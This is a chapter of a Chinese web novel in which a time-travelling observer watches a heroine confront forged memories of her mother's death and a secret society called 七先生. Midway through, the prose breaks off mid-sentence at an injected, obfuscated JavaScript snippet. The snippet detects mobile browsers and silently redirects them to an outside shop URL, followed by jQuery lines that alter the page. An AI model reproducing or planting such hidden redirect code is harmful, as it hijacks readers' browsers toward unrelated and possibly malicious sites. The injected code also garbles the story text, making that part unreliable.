33. 七星迷阵
作品:《救世主今天也要写作业》 黑暗像粘稠的墨汁,吞没了佛堂。
陈思嘉的呼吸声在寂静中显得格外粗重——那不是疲惫,是某种东西在体内碎裂的声音。名单上的每一个名字,都像一根针,扎进她二十年来构筑的世界。
父亲、师叔、母亲......还有这个看似病弱却心思难测的云舒。
全都是“七先生”。
全都是害死母亲的同谋?
“思嘉。”凌霄的声音从左侧传来,带着急切的痛楚,“那名单是假的!谢谋在离间我们——”
“是吗?”谢谋的笑声在黑暗中飘忽不定,“凌兄,三年前你投靠锦衣卫,真的是为了调查‘七先生’?还是说,你本就是‘玉衡’,打入朝廷是为了获取更多资源,好完成组织的‘七星成仙’大计?”
“你放屁!”
“那你解释一下,为什么你‘自废武功’后,三个月内就恢复了七成实力?那可是‘玉衡穴’的独门秘法——激发潜能,加速愈合。除了‘七先生’成员,谁会?”
凌霄哑口无言。
陈思嘉能听见他急促的呼吸,能想象出他刀疤脸上扭曲的表情。
是真的吗?
师叔的“苦肉计”,其实是组织的安排?
“还有云舒侄儿。”谢谋的声音转向右侧,“你的心疾,真的是天生的?还是说,那是你十岁时,为了激发‘开阳穴’潜能,强行修炼禁术留下的后遗症?”
云舒的折扇“啪”地合上。
“舅舅,你......”
“你以为我不知道?”谢谋轻笑,“你母亲——我妹妹——当年为什么执意要嫁给那个游方郎中?因为她发现了‘开阳穴’的秘密,想脱离组织。结果呢?‘意外’难产而死,而你,留下了永远治不好的心疾。这难道不是组织的‘警告’?”
黑暗中传来云舒压抑的咳嗽声。
陈思嘉的手在颤抖。
她想起云舒吞下“护心散”时毫不犹豫的样子,想起他说“我讨厌被人威胁”。如果他的心疾是组织留下的枷锁,那一切就说得通了。
“至于你父亲,陈半夏......”谢谋的声音变得悠远,“药王谷主,当世神医。可他却治不好自己的妻子,你不觉得奇怪吗?因为他根本不想治——苏静发现了组织的真相,想退出,而陈半夏选择了组织,放弃了妻子。”
“不可能!”陈思嘉嘶吼,“父亲爱母亲!他这些年一直活在愧疚里——”
“愧疚?还是演戏?”谢谋打断她,“思嘉侄女,你好好想想。你母亲死后,你父亲为什么禁止你学医?为什么把你关在谷里?不是因为怕你重蹈覆辙,是怕你发现真相!”
佛堂的烛火突然重新亮起。
不是全部,只有祭坛上的七盏油灯,围绕针灸铜人,排列成北斗七星的形状。
谢谋站在铜人旁,月光白的锦袍在烛光中泛着冷光。他的脸上带着悲悯的笑容,像在看一个迷路的孩子。
“我知道你不信。所以,我让你亲眼看看。”
他抬手,按在铜人的胸口。
那个七角星符号,骤然亮起琥珀色的光。
光顺着铜人身上的银针流动,七根插在苏明远胸口的针同时震动,发出刺耳的嗡鸣。死去的尼姑身体开始抽搐,嘴巴张开,一团模糊的光影从她口中飘出——
那不是鬼魂。
是记忆。
苏明远临终前的记忆,被某种诡异的技术提取、再现,投射在佛堂的墙壁上。
画面闪烁不定:
第一幕,二十年前,药王谷。
年轻的苏静跪在祠堂里,面前站着三个人:陈半夏、凌霄、还有一个看不清面目的黑影。
苏静的声音颤抖但坚定:“我退出。这种实验太残忍,用活人试药,用婴儿炼‘星种’......我做不到。”
黑影冷笑:“知道了组织的秘密,还想走?”
陈半夏开口,声音冰冷:“静儿,别任性。‘七星成仙’是我们三大家族的夙愿,你是苏家这一代的守经人,你有责任——”
“责任是救人,不是杀人!”苏静抬头,眼中含泪,“半夏,我们当初学医时发过誓的......”
凌霄上前想扶她,却被黑影拦住。
“既然她执意要退,那就按规矩办。”黑影说,“‘隐线红’,潜伏期三年。三年内,如果她改变主意,交出《外经》完整传承,就给解药。否则......就让她‘自然死亡’。”
陈半夏沉默良久,最终点头。
凌霄嘶吼着扑上去,被黑影一掌击飞。
画面切换。
第二幕,三年后,产房外。
陈半夏和凌霄焦急等待。
产婆惊慌失措地跑出来:“谷主,夫人血崩!”
陈半夏冲进去。画面跟随,产床上,苏静脸色惨白,身下鲜血浸透了被褥。她抓住陈半夏的手,气若游丝:“半夏......给我解药......我想活......想看着思嘉长大......”
陈半夏的眼神剧烈挣扎。
他看向门口——黑影站在那里,无声地摇头。
最终,陈半夏抽回手,声音干涩:“静儿,对不起......组织的规矩,不能破。”
苏静的眼中,最后一点光熄灭了。
她松开手,看向凌霄,用尽最后的力气:“凌霄......带思嘉走......别让她......变成我们这样......”
画面破碎。
第三幕,苏明远的视角。
昏暗的密室,七个身影围坐。每个人脸上都戴着面具,面具上是北斗七星的图案。
天枢(谢谋)开口:“苏静已除,《外经》传承线索中断。下一步,从她女儿身上入手。”
天璇(唐啸天,唐门主)冷笑:“那丫头继承了‘玲珑心脉’,是绝佳的实验体。如果她能承受七穴同时刺激,或许真能打开‘天门’。”
天玑(空位)——那是苏静曾经的位置。
天权(陈半夏)沉默。
玉衡(凌霄):“她还小,再等几年。”
开阳(云舒?画面模糊,看不清脸):“等?组织的‘星种计划’已经拖了五十年!再不成功,那些大人物可没耐心了。”
摇光(黑影,七先生本尊):“按计划进行。陈半夏,你负责培养陈思嘉的医术基础;凌霄,你负责保护她,同时监视;云舒,你接近她,获取信任。十年后,等她成年,进行最终实验。”
众人:“遵命。”
画面消失。
佛堂死寂。
陈思嘉跪在地上,双手撑地,身体剧烈颤抖。她想呕吐,却什么都吐不出来,只有冰冷的绝望从胃里翻涌上来,灼烧着每一寸内脏。
原来如此。
原来这二十年,她活在一个巨大的谎言里。
父亲的保护,是饲养实验品。
师叔的守护,是监视。
母亲的遗言,也许是最后的求救,也许......连遗言都是计划的一部分?
“现在你明白了?”谢谋的声音温柔得像在哄孩子,“你不是药王谷的大小姐,你是‘星种计划’的核心实验体。你身边所有的人,都在演戏。包括——”
他指向随曦。
“这个突然出现的‘外门弟子’。你真的相信她是失忆了?也许,她是组织派来的新监视者,或者......是下一个‘星种’的备选。”
陈思嘉缓缓抬头。
她的眼睛血红,泪痣像一滴凝固的血。
目光,落在随曦身上。
随曦的心脏骤停。
她能感觉到陈思嘉眼中的杀意——那不是针对敌人,是针对“叛徒”,针对“同谋”,针对这个欺骗了她所有信任的世界里,最后一个可能也在欺骗她的人。
“陈姑娘......”随曦开口,声音干涩,“那些画面,不一定——”
“闭嘴!”陈思嘉嘶吼。
她抓起地上苏明远尸体旁的一根银针,那是从铜人身上拔下的,针尖还沾着暗黑的血。
针尖,指向随曦的咽喉。
“告诉我。”陈思嘉的声音空洞得可怕,“你也是他们的人,对吗?你所谓的‘失忆’,所谓的‘天授医识’,都是编的。你就是来监视我的,对不对?”
随曦摇头。
她想解释,想说“我是观察者,是来记录真相的”,但话卡在喉咙里。因为连她自己,此刻都动摇了。
那些画面太真实。
如果陈半夏、凌霄、云舒真的都是“七先生”,那她这个突然出现的穿越者,难道真是巧合?
笔记本在怀中疯狂发烫,烫到几乎要烧穿布料。她伸手入怀,指尖触碰到封面的七角星徽章——
徽章突然爆发出前所未有的光芒!
不是琥珀色,是纯净的、清冷的蓝白色,像深夜的星光。
光从她怀中涌出,展开,形成一道薄薄的光幕,横在她和陈思嘉之间。
光幕上,开始浮现画面。
但不是谢谋展示的那些。
是三个不同版本的画面。
左侧画面:谢谋展示的版本——陈半夏冷漠地看着苏静死去,凌霄被击飞,七人在密室密谋。
中间画面:另一个版本——
产房里,陈半夏确实冲进去,但他从怀中掏出的不是拒绝,而是一个玉瓶。他将药液灌入苏静口中,嘶吼着:“静儿,撑住!这是解药,我从组织偷来的!虽然不完整,但也许——”
苏静喝下药,出血减缓,但已回天乏术。她抓住陈半夏的手,微笑:“够了......半夏......至少你选了......我......”
门口,黑影现身,冷笑:“陈半夏,你背叛组织。”
陈半夏转身,眼中是决绝:“我从未忠于组织,我只忠于医道,忠于我的妻子。”
黑影挥手,数名杀手冲入。凌霄从窗外破入,护在陈半夏身前:“带静儿和孩子走!我断后!”
混战中,陈半夏抱着苏静的尸体和婴儿(陈思嘉)逃离。凌霄重伤,被俘。
三年后,凌霄“叛出”药王谷,实为接受组织的“改造”,成为“玉衡”——条件是:组织放过陈思嘉,让她平安长大。
右侧画面:第三个版本——
苏静没有中毒。她是自愿参与“星种计划”的,因为她的第一个孩子(陈思嘉的哥哥)先天心疾垂死,组织许诺能用星穴针灸治好孩子。但实验失败,孩子死亡,苏静崩溃,想退出。
组织用“隐线红”控制她,但陈半夏确实偷了解药,只是药被调包了——调包者,是当时还年轻的谢谋,他想取代苏静,成为“天玑”。
苏静死前,将完整的《外经》传承,用密语记录在玉佩中,只有“玲珑心脉”者(陈思嘉)成年后才能解开。
而陈半夏这些年的过度保护,是真的保护——他知道组织在等陈思嘉成年,进行最终实验。
三个画面,并列在光幕上。
每个都细节丰富,逻辑自洽。
每个,都可能是“真相”。
“这......这是什么?”谢谋的笑容第一次出现裂痕。
随曦自己也愣住了。
她低头看怀中的笔记本——它已经完全展开,悬浮在半空,书页无风自动,蓝白色的光从七角星徽章中源源不断地涌出。
内页上,浮现出她从未见过的文字:
观察者特殊能力:真相之镜(初阶)
效果:当关键人物陷入认知崩溃时,可消耗‘记录能量’,回溯相关事件的三种最大可能性版本。
限制:每次使用消耗一个世界的记录能量(本单元剩余能量:2/3)。无法直接判断哪个版本为真,需观察者自行判断。
警告:过度使用可能导致时空紊乱。
原来如此。
笔记本不是万能的,它不能给出“正确答案”,只能给出“可能性”。
而选择相信哪个,是她的责任——不,是陈思嘉的责任。
“三个版本......”陈思嘉喃喃,手中的银针缓缓垂下,“哪一个......才是真的?”
“都是假的!”谢谋厉喝,“妖术!这是妖术!”
他抬手,七盏油灯同时爆燃,火焰扭曲成七条火蛇,扑向光幕!
但火焰触碰到蓝白色光的瞬间,就像撞上无形的墙壁,溃散成火星。
“思嘉!”凌霄的声音响起,带着前所未有的急切,“不要被迷惑!谢谋在操控你的记忆!那些画面是他用‘摄心术’植入你脑海的!”
“那这些呢?”陈思嘉指着光幕上的三个版本,“这些也是他植入的?”
“我......”凌霄语塞。
云舒咳嗽着开口,声音虚弱但清晰:“陈姑娘,你仔细看......左侧画面,也就是谢谋展示的那个版本,所有‘反派’的表情都太过脸谱化。而且,有几个细节不合理——”
他指向左侧画面中“七人密谋”的场景。
“那个密室,是风雨楼三年前才建成的密阁。二十年前,它根本不存在。这是时间错误。”
又指向“产房”场景。
“产婆的衣服样式,是永乐八年才在苏州流行的。永乐五年,应该穿另一种款式。这是服饰错误。”
最后指向“祠堂”场景。
“祠堂里供奉的牌位,最上面那个‘苏氏先祖苏秦’,是永乐六年才追封的。二十年前,牌位上写的应该是‘苏氏先祖苏子’。这是历史错误。”
云舒一口气说完,剧烈咳嗽起来,嘴角渗出血丝。
“你......”谢谋的脸色彻底变了,“你怎么会知道这些细节?”
“因为我过目不忘。”云舒擦去嘴角的血,露出虚弱的笑,“舅舅,你忘了吗?风雨楼所有的建筑图纸、服饰图样、历史档案,我都看过。你制造的这些‘记忆画面’,骗得了别人,骗不了我。”
他看向陈思嘉。
“所以,左侧版本是伪造的。但中间和右侧版本......我没有证据判断真伪。不过,有一个方法可以验证。”
“什么方法?”陈思嘉问。
云舒指向祭坛上的针灸铜人。
“那尊铜人,是苏家的祖传之物。苏家有个规矩:每一代守经人,都会在铜人内部刻下自己的‘医道心得’,只有下一任守经人能打开。如果苏静真的留下了完整传承,那么铜人里一定有记录。”
他顿了顿。
“而打开铜人的方法,就在你那枚玉佩里。”
陈思嘉下意识握住胸前的玉佩。
玉佩在发热,像有生命般脉动。
“可是......”她犹豫,“如果母亲真的是自愿加入组织,或者父亲真的是叛徒......那我打开铜人,岂不是正中他们下怀?”
“那就赌一把。”凌霄上前一步,与陈思嘉并肩,“思嘉,我无法证明自己的清白,但有一点我可以发誓——”
他摘下腰间的针囊,倒出所有银针,然后,用右手握住一根最长的针。
针尖,对准自己的左眼。
“如果我是‘七先生’,如果我真的参与了害死静儿的阴谋,就让我此生再也无法用针,让我瞎了这双眼睛,让我——”
“够了!”陈思嘉抓住他的手。
针尖离眼球只有半寸。
凌霄的手在颤抖,不是害怕,是压抑了二十年的痛苦终于决堤。
“师叔......”陈思嘉的眼泪终于落下,“我信你。至少......我信你不是坏人。”
她松开手,转身面对铜人。
从脖子上取下玉佩,按在铜人胸口的七角星符号上。
完全契合。
玉佩开始发光,光芒流入符号的纹路,沿着铜人身上的经络线蔓延。三百六十个穴位点依次亮起,最后,七个特殊的“星穴”位置,爆发出耀眼的金光。
铜人的胸口,“咔”地一声裂开。
不是破碎,是像莲花般绽放,分成七片铜瓣,露出内部中空的结构。
里面没有机关,没有秘籍。
只有一枚玉简。
陈思嘉取出玉简。玉简触手温润,表面光滑如镜,但当她的手指触碰时,镜面上开始浮现字迹——
是苏静的笔迹。
“吾女思嘉亲启:”
“若你看到这段话,说明你已经十八岁,且解开了玉佩的秘密。那么,有些事,是时候告诉你了。”
“第一,关于‘七先生’。那确实是一个组织,但最初的目的,不是成仙,是探索人体潜能的极限。苏家、陈家、凌家,三大家族各出一位医者,加上四位志同道合的朋友,共七人,研究星穴针灸,想找到治疗绝症的方法。”
“第二,组织后来变质了。因为第七个人——‘摇光’,他的真实身份是......”(字迹突然模糊,像是被刻意抹去)
“第三,我确实中了‘隐线红’,但不是组织下的毒,是‘摇光’私自所为。他想逼我交出《外经》完整传承,用于他的私人目的。你父亲和凌霄都不知道。”
“第四,你父亲偷了解药,但药被调包了。调包者,是当时负责制药的‘天璇’——唐啸天。他是‘摇光’的心腹。”
“第五,我死后,‘摇光’一定会继续找你。因为你的‘玲珑心脉’,是承受七穴同时刺激的最佳体质。他需要你,来完成他的终极实验。”
“第六,不要相信任何人,包括你父亲和凌霄。不是他们坏,是‘摇光’的操控手段太高明,他们可能已经在不知不觉中,被植入了虚假记忆,成为了他的傀儡。”
“第七,唯一能对抗‘摇光’的方法,是找到‘七星草’的真正用法。那不是毒药,是解药。它能清除‘摄心术’的残留,唤醒被操控者的真实记忆。七星草就藏在......”
字迹到这里,突然中断。
玉简从中间裂开,碎成两半。
“不!”陈思嘉惊呼。
但已经晚了。
玉简内部,涌出一股黑烟,迅速弥漫整个佛堂。
烟雾刺鼻,带着腥甜的气味。
“闭气!”凌霄大喝,但已经来不及。
陈思嘉吸入一口烟雾,眼前顿时一黑。她踉跄后退,被随曦扶住。
烟雾中,传来谢谋疯狂的笑声。
“果然!苏静这个贱人,果然留了后手!可惜啊可惜,我在玉简里也动了手脚——只要打开,就会释放‘迷神烟’,吸入者会陷入昏迷,而且......会忘记最近一个时辰的记忆。”
他的身影在烟雾中若隐若现。
“思嘉侄女,等你醒来,你会忘记这一切。你会只记得,我是来救你的,而凌霄和云舒,才是要害你的人。然后,你会乖乖跟我走,完成‘星种计划’的最终阶段......”
烟雾越来越浓。
随曦感到头晕目眩,笔记本的光芒也在减弱。她咬牙,用尽最后力气,在笔记
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926233|192734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
本上写下一行字:
“真相:苏静未叛,陈半夏、凌霄或为被迫,谢谋为‘天枢’但非主谋,真正敌人是‘摇光’。关键:七星草可解摄心术。位置:......”
她写不下去了。
意识在迅速流失。
最后一瞥,她看见凌霄扑向谢谋,两人在烟雾中缠斗。云舒跪在地上,咳血不止。陈思嘉瘫倒在她怀中,眼神涣散。
而祭坛上,那尊针灸铜人——
它胸口的七角星符号,正在疯狂闪烁。
七根插在苏明远尸体上的银针,突然自动飞起,悬停在铜人周围的七个方位。
针尖,同时指向昏迷的陈思嘉。
铜人的嘴,缓缓张开。
发出一个苍老的、不属于这个时代的声音:
“星种......已成熟......开始......移植......”
黑暗吞没了一切。
·
随曦再次恢复意识时,发现自己躺在冰冷的地面上。
头昏脑胀,喉咙干得冒火。
她挣扎着坐起,环顾四周。
还是在佛堂,但烟雾已经散去。烛火重新点亮,七盏油灯围成圆圈,中间是那尊针灸铜人。
陈思嘉躺在铜人脚下,昏迷不醒,但胸口微微起伏,还活着。
凌霄倒在三丈外,胸口插着一根银针,针尾还在微微颤动。他睁着眼睛,但眼神空洞,像失去了灵魂。
云舒靠在墙边,脸色惨白如纸,手中紧握着那半截裂开的玉简,眼神复杂地看着她。
谢谋......不见了。
“发生了......什么?”随曦声音嘶哑。
“你醒了。”云舒虚弱地说,“迷神烟的剂量不大,你吸入得少,所以最先醒来。”
“陈姑娘她......”
“思嘉中了摄心术。”云舒看向昏迷的陈思嘉,“谢谋在烟雾中对她做了手脚。等她醒来,会忘记刚才看到的一切,只记得谢谋编造的那个版本——我们都是坏人,他是来救她的。”
随曦的心沉了下去。
她想起笔记本上最后的记录,急忙翻开。
还好,字还在。
“真相:苏静未叛,陈半夏、凌霄或为被迫,谢谋为‘天枢’但非主谋,真正敌人是‘摇光’。关键:七星草可解摄心术。位置:......”
位置是空白。
她没来得及写。
“玉简里说,七星草能解摄心术。”随曦看向云舒,“但七星草在哪里?”
云舒举起手中的半截玉简。
断裂处,隐约能看到几个残缺的字:
“......草在......星......船......”
“星?船?”随曦皱眉。
“郑和船队。”云舒突然说,“永乐三年到五年,郑和第一次下西洋,带回了无数海外奇珍。其中有一批‘星辰草’,被列为贡品,送入宫中。但后来,这批草神秘失踪了。”
他顿了顿。
“如果七星草就是星辰草,那么它现在可能还在宫里的某个地方。或者......被‘摇光’私藏了。”
“那怎么找?”随曦感到无力。
“有一个线索。”云舒挣扎着站起,走到凌霄身边,拔出他胸口的银针。
针尖上,沾着一点暗红色的血。
但血里,混着极其微小的金色颗粒,在烛光下闪烁。
“这是......金粉?”随曦惊讶。
“不是普通的金粉。”云舒用手指捻了一点,“这是‘星尘金’,产自海外某个岛屿,非常稀有。整个大明,只有三个地方可能用到这种金粉:皇宫、锦衣卫诏狱、以及......”
他看向随曦。
“风雨楼的‘天字一号’密库。而那个密库的钥匙,在我舅舅——谢谋手里。”
线索,绕回来了。
要救陈思嘉,需要七星草。
要找七星草,需要知道它的下落。
而要找到下落,可能需要打开风雨楼的密库。
但钥匙在谢谋手里,而谢谋刚刚逃走,还洗脑了陈思嘉。
“等等。”随曦突然想到,“陈姑娘中了摄心术,那等她醒来,会不会......”
话音未落,陈思嘉的身体动了动。
她缓缓睁开眼。
眼神迷茫,空洞。
然后,她看到了凌霄胸口的伤,看到了云舒手中的针,看到了随曦惊慌的表情。
“你们......”陈思嘉坐起身,声音冰冷,“对我做了什么?”
“思嘉,你听我说——”云舒上前。
“别过来!”陈思嘉厉喝,从地上抓起一根银针,护在胸前,“我记得......我记得你们和谢楼主打斗,然后我晕过去了。谢楼主呢?你们把他怎么了?”
果然。
她只记得谢谋展示的那个版本了。
随曦感到一阵寒意。
“思嘉,谢谋才是坏人。”云舒尽量让声音温和,“他给你下了摄心术,篡改了你的记忆——”
“闭嘴!”陈思嘉眼神凌厉,“谢楼主是我母亲的故交,是来帮我的!而你们,药王谷的叛徒凌霄,风雨楼的叛徒云舒,还有这个来历不明的随曦......你们都是一伙的!”
她站起身,步步后退。
“我要去找谢楼主。他会带我去见父亲,会洗清我的冤屈。”
“思嘉!”凌霄突然开口。
他的声音嘶哑,但眼神恢复了焦点——他强行用内力冲开了部分迷神烟的效果。
“看着我。”凌霄盯着陈思嘉的眼睛,“你还记得吗?八岁那年,你偷偷去后山采药,从悬崖上掉下来,是谁救了你?”
陈思嘉一愣。
“是......是师叔你。”
“你当时腿骨折了,疼得大哭。我怎么说的?”
“你说......‘思嘉不哭,师叔在。师叔给你讲故事,讲你母亲小时候的事......’”
“我讲了什么故事?”
陈思嘉的眼神开始动摇。
“你讲......母亲七岁时,为了救一只受伤的小鸟,三天三夜没合眼,最后小鸟活了,她累倒了......父亲骂她傻,她说:‘鸟的命也是命’......”
泪水,毫无征兆地涌出。
“师叔......”陈思嘉的声音在颤抖,“那些记忆......那些谢楼主给我看的......是假的吗?”
“是假的。”凌霄一字一顿,“你母亲,是这世上最善良的人。她绝不会参与害人的实验,绝不会。”
陈思嘉手中的银针,“当啷”一声掉在地上。
她跪倒在地,捂着脸,肩膀剧烈颤抖。
“可是......可是父亲他......他真的偷了解药吗?他真的......选了母亲吗?”
这个问题,无人能答。
因为玉简碎了,苏静真正的遗言,永远缺失了最关键的部分。
佛堂外,传来嘈杂的人声。
火光晃动,脚步声密集。
“搜!刺客肯定在里面!”
“是官兵!”云舒脸色一变,“谢谋报官了!他想借朝廷的手抓我们!”
凌霄挣扎着站起:“从密道走!快!”
随曦扶起陈思嘉,四人冲向祭坛下的密道入口。
但入口处,站着一个人。
不,不是站着。
是悬空飘浮。
一个黑影,全身笼罩在斗篷里,看不清面容。只有一双眼睛,在阴影中闪烁着诡异的金光。
他没有说话。
但随曦怀中的笔记本,突然爆发出前所未有的炽热!
书页自动翻开到最后,空白处浮现出血红色的文字,每一个字都像用尽生命在呐喊:
“‘摇光’出现!重复:‘摇光’出现!
警告:此个体能量等级远超本世界极限!建议立即撤离!
倒计时:10、9、8......”
黑影抬起手。
指向陈思嘉。
一个苍老的、非人的声音,直接在所有人脑海中响起:
“星种......跟我走......”
陈思嘉的身体,不受控制地,一步一步,走向黑影。
无论凌霄怎么拉,无论云舒怎么挡,都像有一双无形的手,在拖拽她。
随曦咬破舌尖,用疼痛保持清醒,在笔记本上写下最后一句话:
“摇光现,挟思嘉。七星草在郑和船队遗物中。关键线索:星尘金。下一站:南京,皇宫,太医院密档......”
写完最后一个字,她感到一股巨大的吸力。
不是来自黑影,是来自笔记本。
蓝白色的光裹住她,开始拉扯她的意识——
穿越要强制结束了!
因为“摇光”的出现,扰乱了时空稳定,笔记本启动了紧急保护程序!
“随曦!”陈思嘉回头,眼中是最后的求救。
随曦伸手,想抓住她。
但手指穿过空气。
光吞没了一切。
最后一瞬,她看见黑影的手按在陈思嘉头顶,陈思嘉的眼神再次变得空洞。
而黑影,缓缓转头。
那双金色的眼睛,透过时空的屏障,直直地——
看向了她。

